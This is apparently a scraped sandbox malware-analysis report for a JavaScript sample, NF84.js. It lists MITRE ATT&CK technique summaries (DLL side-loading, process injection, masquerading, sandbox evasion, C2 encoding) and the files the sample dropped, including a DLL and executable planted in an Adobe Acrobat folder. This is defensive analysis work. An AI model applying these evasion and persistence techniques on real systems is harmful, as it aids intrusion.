Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may encode data to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a standard data encoding system. Use of data encoding may adhere to existing protocol specifications and includes use of ASCII, Unicode, Base64, MIME, or other binary-to-text and character encoding systems.Some data encoding systems may also result in data compression, such as gzip.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report NF84.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Config.Msi\3f3865.rbs

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jicggenv.nhd.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lxsi4ctn.orf.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_m5aax2zw.lxk.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_w14hsech.dad.psm1

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

C:\Users\user\AppData\Roaming\Reader\Adobe Acrobat\avutil.dll

C:\Users\user\AppData\Roaming\Reader\Adobe Acrobat\fec.exe

C:\Users\user\AppData\Roaming\Reader\Adobe Acrobat\open.pag

Windows Analysis Report
NF84.js

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre